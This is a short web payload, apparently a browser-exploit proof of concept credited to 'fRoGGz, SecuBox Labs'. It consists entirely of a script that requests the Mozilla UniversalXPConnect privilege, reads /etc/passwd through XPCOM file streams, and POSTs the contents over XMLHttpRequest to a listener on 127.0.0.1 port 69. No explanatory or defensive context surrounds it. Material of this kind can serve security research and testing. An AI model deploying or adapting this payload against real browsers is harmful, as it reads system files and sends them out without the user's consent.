|
<script> netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect"); var f = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); f.initWithPath("/etc/passwd"); var is = Components.classes["@mozilla.org/network/file-input-stream;1"] .createInstance(Components.interfaces.nsIFileInputStream); is.init(f,0x01,00004,null); var sis = Components.classes["@mozilla.org/scriptableinputstream;1"] .createInstance(Components.interfaces.nsIScriptableInputStream); sis.init(is); var req = new XMLHttpRequest(); req.open("POST", "http://127.0.0.1:69/", true); req.overrideMimeType("text/xml"); req.setRequestHeader("Credits", "fRoGGz, SecuBox Labs"); req.sendAsBinary(sis.read(sis.available())); </script>
|
|
|